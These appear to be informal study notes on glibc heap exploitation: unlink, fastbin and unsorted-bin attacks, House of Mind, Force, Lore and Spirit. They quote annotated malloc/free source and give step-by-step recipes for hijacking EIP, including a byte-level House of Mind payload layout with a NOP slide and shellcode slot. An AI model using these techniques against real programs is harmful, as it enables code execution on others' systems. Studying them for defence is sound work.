#define unlink(P, BK, FD) {
FD = P->fd;
BK = P->bk;
FD->bk = BK;
BK->fd = FD;
}
when free() is called ---> It checks if next chunk is free then it unlink the next chunk from list and merge it .
buf1 = malloc(50); \\ overflow heap
buf2 = malloc(100); \\ attacker control heap
strcpy(buf1,argv[1]);
free(buf1); \\ Triggers vuln
free(buf2);
a) Make second chunk as free (overwrite size of second_chunk to 0 )
b) place fd,bk in second chunk
To make second chunk free: The free uses the below function to check if a chunk it is free :
#define inuse_bit_at_offset(p, s) (((mchunkptr) (((char *) (p)) + (s)))->size & PREV_INUSE)
hence if size is 0 then it points itself hence it's inuse_bit is 0 hence free() belives it as free !!!!!!!!!!!
__builtin_expect (FD->bk != P || BK->fd != P, 0)
char *overflowed_ptr = (char *)malloc(256);
char *ptr1 = (char *)malloc(256);
char *ptr2 = (char *)malloc(256);
char *ptr3;
/* overflow on overflowed_ptr */
free(ptr1);
free(ptr2);
ptr3 = (char *)malloc(256);
void
_int_free(mstate av, Void_t* mem)
{
mchunkptr p; /* chunk corresponding to mem */
INTERNAL_SIZE_T size; /* its size */
mfastbinptr* fb; /* associated fastbin */
p = mem2chunk(mem);
size = chunksize(p);
/*
If eligible, place chunk on a fastbin so it can be found
and used quickly in malloc.
*/
if ((unsigned long)(size) <= (unsigned long)(av->max_fast)
{
if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0) || __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0))
{
errstr = "free(): invalid next size (fast)";
goto errout;
}
set_fastchunks(av);
fb = &(av->fastbins[fastbin_index(size)]);
if (__builtin_expect (*fb == p, 0))
{
errstr = "double free or corruption (fasttop)";
goto errout;
}
p->fd = *fb;
*fb = p; <<<<======= exploit vector !!
}
#define fastbin_index(sz) ((((unsigned int)(sz)) >> 3) - 2)
Void_t* _int_malloc(mstate av, size_t bytes)
{
INTERNAL_SIZE_T nb; /* normalized request size */
unsigned int idx; /* associated bin index */
mbinptr bin; /* associated bin */
mfastbinptr* fb; /* associated fastbin */
mchunkptr victim; /* inspected/selected chunk */
/* Convert request size to internal form */
checked_request2size(bytes, nb);
/* If the size qualifies as a fastbin, first check corresponding bin. */
if ((unsigned long)(nb) <= (unsigned long)(av->max_fast)) {
long int idx = fastbin_index(nb);
fb = &(av->fastbins[idx]); <<<<<====== fastbin method
if ( (victim = *fb) != 0) {
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
malloc_printerr (check_action, "malloc(): memory corruption (fast)",
chunk2mem (victim));
*fb = victim->fd;
check_remalloced_chunk(av, victim, nb);
return chunk2mem(victim);
}
}
for(;;) {
while ( (victim = unsorted_chunks(av)->bk) != unsorted_chunks(av))
{
bck = victim->bk;
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0) || __builtin_expect (victim->size > av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption",chunk2mem (victim));
size = chunksize(victim);
/* remove from unsorted list */ <<<=== unsorted chunk method !!!!!
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);
/* Take now instead of binning if exact fit */
if (size == nb) {
set_inuse_bit_at_offset(victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk(av, victim, nb);
return chunk2mem(victim);
}
a) During free(ptr1) : set size of ptr1 = 0x09 , ptr1+0x8 (fake ptr2 size) > 8
now fastbin index would be -1 and max_fast will be overwritten with ptr1 0x80xxxxx
b) During free(ptr2) : set size of real ptr2 to 0x919 ((289 + 2) << 3 = 0x918)
now areana_key overwritten with ptr2
c) During malloc(size):
a) if size < max_fast<-->i.e ptr2 size feild
then set a fake fastbin entry and return some stack area u control
set stack location to size of ptr2
ii) the fastbin index of returned chunk is computed if it matches then the chunk is returned
which is now stack region hence overwrite eip and pwn it !!!!
b) if size > max_fast
the unsorted bin is searched , the chunks are moved to respective bins
now unsorted_chunks(av) returns &(av->bins[0])
Steps to be done
i) &(av->bins[0])+12 {i.e victim} : &(av->bins[0])+4
ii) &(av->bins[0])+16 {i.e bck} : &eip+8
iii) jmp instruction in &(av->bins[0]) {unsorted_chunks(av)->bk = bck }
iv) bck->fd = EIP = &(av->bins[0]) // place a shellcode here
One free() of a chunk under the control of the exploiter
A sufficiently large memory space where the exploiter can write
void
public_fREe(Void_t* mem)
{
mstate ar_ptr;
mchunkptr p; /* chunk corresponding to mem */
p = mem2chunk(mem);
ar_ptr = arena_for_chunk(p);
_int_free(ar_ptr, mem);
(void)mutex_unlock(&ar_ptr->mutex);
}
#define HEAP_MAX_SIZE (1024*1024) /* must be a power of two */
#define heap_for_ptr(ptr) \
((heap_info *)((unsigned long)(ptr) & ~(HEAP_MAX_SIZE-1)))
/* check for chunk from non-main arena */
#define chunk_non_main_arena(p) ((p)->size & NON_MAIN_ARENA)
#define arena_for_chunk(ptr) \
(chunk_non_main_arena(ptr) ? heap_for_ptr(ptr)->ar_ptr : &main_arena)
The arena_for_chunk macro just checks if the NON_MAIN_ARENA flag is set if the flag is not set, then the main_arena pointer is returned, otherwise the heap_for_ptr just performs a “ptr AND 0xFFF00000” and returns the result.
The trick is to make the program allocate more and more memory until a chunk is allocated over 0x08100000 in order to have the heap_info structure “located” at 0x08100000.
Now we control ar_ptr i.e first var in heap_info struct
If the following conditions on the chunk are met, then the unsorted_chunks code is executed:
- The size of the chunk must not be less than av->max_fast
- The IS_MMAPPED bit of the size cannot be set
- The overflowed chunk cannot equal av->top
- The NONCONTIGUOUS_BIT of av->max_fast must be set
- The PREV_INUSE bit of the nextchunk (chunk + size) must be set
- The size of nextchunk must be greater than 8
- The size of nextchunk must be less than av->system_mem
- The PREV_INUSE bit of the chunk must not be set
- The nextchunk cannot equal av->top
- The PREV_INUSE bit of the chunk after nextchunk (nextchunk + nextsize) must be set
If all these conditions are met, then the following piece of code is executed:
bck = unsorted_chunks(av); // bck = &(av-bins[0])
fwd = bck->fd; [derefrenced once ]
p->bk = bck; <<<<==== same as unlink !!!
p->fd = fwd;
bck->fd = p;
fwd->bk = p; [written once]
when free(0x8100000) happens the heap_for_ptr() returns ptr itself (since size is modified by overflow) now heap_for_ptr()->ar_ptr makes us control of ar_ptr and let's say we set it 1 chunk addr+8 and place shellcode in p , fwd->bk (let's say eip) = p (shellcode addr).
0xAA 0xAA 0xAA 0xAA will be overwritten with garbage by free()
0xAA 0xAA 0xAA 0xAA will be overwritten with garbage by free()
0x00 0x00 0x00 0x00 av->mutex = 0
0x02 0x01 0x00 0x00 -\
0x02 0x01 0x00 0x00 |
0x02 0x01 0x00 0x00 | av->max_fast = 0x102 = 258
0x02 0x01 0x00 0x00 | (written multiple times just to be
0x02 0x01 0x00 0x00 | sure of hitting it)
0x02 0x01 0x00 0x00 |
0x02 0x01 0x00 0x00 |
0x02 0x01 0x00 0x00 -/
0x... DTORS_END-12 -\
0x... DTORS_END-12 | av->bins[0]
[...] | repeated 246 times
0x... DTORS_END-12 -/
0x09 0x04 0x00 0x00 malloc'ed chunk's size -\
0x41 0x41 0x41 0x41 -\ |
[...] | garbage data * 257 |
0x41 0x41 0x41 0x41 -/ | repeated 721 times
[...] | (all the chunks)
0x09 0x04 0x00 0x00 |
0x41 0x41 0x41 0x41 |
[...] |
0x41 0x41 0x41 0x41 -/
0x09 0x04 0x00 0x00 size
1ST CHUNK ADDR + 8 -\
1ST CHUNK ADDR + 8 | this is the memory address returned that
1ST CHUNK ADDR + 8 | will be returned by heap_for_ptr: it is
1ST CHUNK ADDR + 8 | necessary to write the correct address for
[...] | ar_ptr here (256 times)
1ST CHUNK ADDR + 8 -/
0xEB 0x0C 0x90 0x90 jmp + 12
0x0D 0x04 0x00 0x00 size | NON_MAIN_ARENA
0x90 0x90 0x90 0x90 small NOP slide
0x90 0x90 0x90 0x90
0x.. 0x.. SHELLCODE
if size of ptr2 = 16 then make ar_ptr = pointing to stack ; fb = &(av->fastbins[0]) {under our control} *fb = p [derefrenced and written]
STACK: ^
|
| 0xRAND_VAL av->system_mem (av + 1848)
| ...
| pushed EIP av->fastbins[0]
| pushed EBP av->max_fast
| 0x00000000 av->mutex
|
The most expected one and the easiest too :)
- The exploiter must be able to overwrite the top chunk (i.e. the overflow must happen in a chunk that allows to overwrite the wilderness
- There is a malloc() call with an exploiter-controllable size
- There is another malloc() call where data are controlled by the exploiter
1) overflow wilderness chunk and make it's size to 0xffffffff
2) malloc(len) split the chunk so that wilderness chunk will now point to eip
3) malloc(16) now u get eip and overwrite it
NOTE : while calculating len u have to iadjust it manually since the len will be 8 byte alligned
- Two chunks are allocated and the first one is overflowable
- The second chunk is freed
- Another (potentially more) chunk, bigger than the second one, is allocated
- A new chunk with the same size of the second one is allocated
- Another chunk with the same size of the second one is allocated
void _int_malloc(mstate av, size_t bytes)
{
checked_request2size(bytes, nb);
if ((unsigned long)(nb) <= (unsigned long)(av->max_fast)) {
[...]
}
if (in_smallbin_range(nb)) {
idx = smallbin_index(nb);
bin = bin_at(av,idx);
if ( (victim = last(bin)) != bin) {
if (victim == 0) /* initialization check */
malloc_consolidate(av);
else {
bck = victim->bk;
if (bck->fd != victim)
{
printf("small bin corruption !!!\n"); <<<<<==== hardening
}
set_inuse_bit_at_offset(victim, nb);
bin->bk = bck; <<<============= Exploit vector
bck->fd = bin;
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk(av, victim, nb);
return chunk2mem(victim);
}
}
for(;;)
{
while( iterate unsorted chunk){ [...] }
if(! in_smallbin_range(nb))
{
idx = largebin_index(nb);
bin = bin_at(av,idx);
for(victim=last(bin;;victim=victim->bk))
{
if(chunk_size >= nb)
{
unlink(); <<<<<<<<====== possible vector ,but unlink hardened !!!!
}
}
}
else
{
iterate to other bins
/* Unlink */
bck = victim->bk ; <<<<<<<<<<========== exploit vector
bin->bk = bck ;
[...]
}
}
1) We have one overflowable chunk (i.e chunk_a) , ond chunk_b behind it
2) now free chunk_b , now that chunk goes into unsorted bin list
3) now malloc(large_len) , now chunk_b moves into small bin
4) now corrupt chunk_b using chunk_a
5) now malloc(same_len) makes free() to unlink our currupted chunk_b , and trigers vuln
* now bin->bk overwriiten with chunk_b->bk(i.e corrupted with say a stack value)
* also u have to control 3 values in stack to bypass the hardening
6) again malloc(same_len) would return stack value for us to play with !!!!
- same until u place large bin from unsorted to large bin , corrupting
- but next malloc() is not same size but lesser
- now it searches corresponding bin , but would fail ! (512 < requested_size < size_in_large_bin ) * searches next bin , and finds it and trigers the vuln
- overwrite the victim->size so that (victim->size -nb = 8 ) && avoid set_foot causing segfault
- return to user controlled stack location and set the stack_fake_chunk-> size so that set_foot doesen't cause a problem again
####Ingredients:
* A stack overflow that allows to overwrite a variable containing a chunk address returned by a malloc() call
* The aforementioned chunk is freed
* Another chunk is allocated
* The attacker can control the content of this last chunk
1) overwrite free() parametere with a stack value such that :
* it's addr-8 i.e size field is in fastbin range
* it's next chunk->size is set (stack_addr+size == some val)
2) now malloc would return pointer into stack to pwn it !!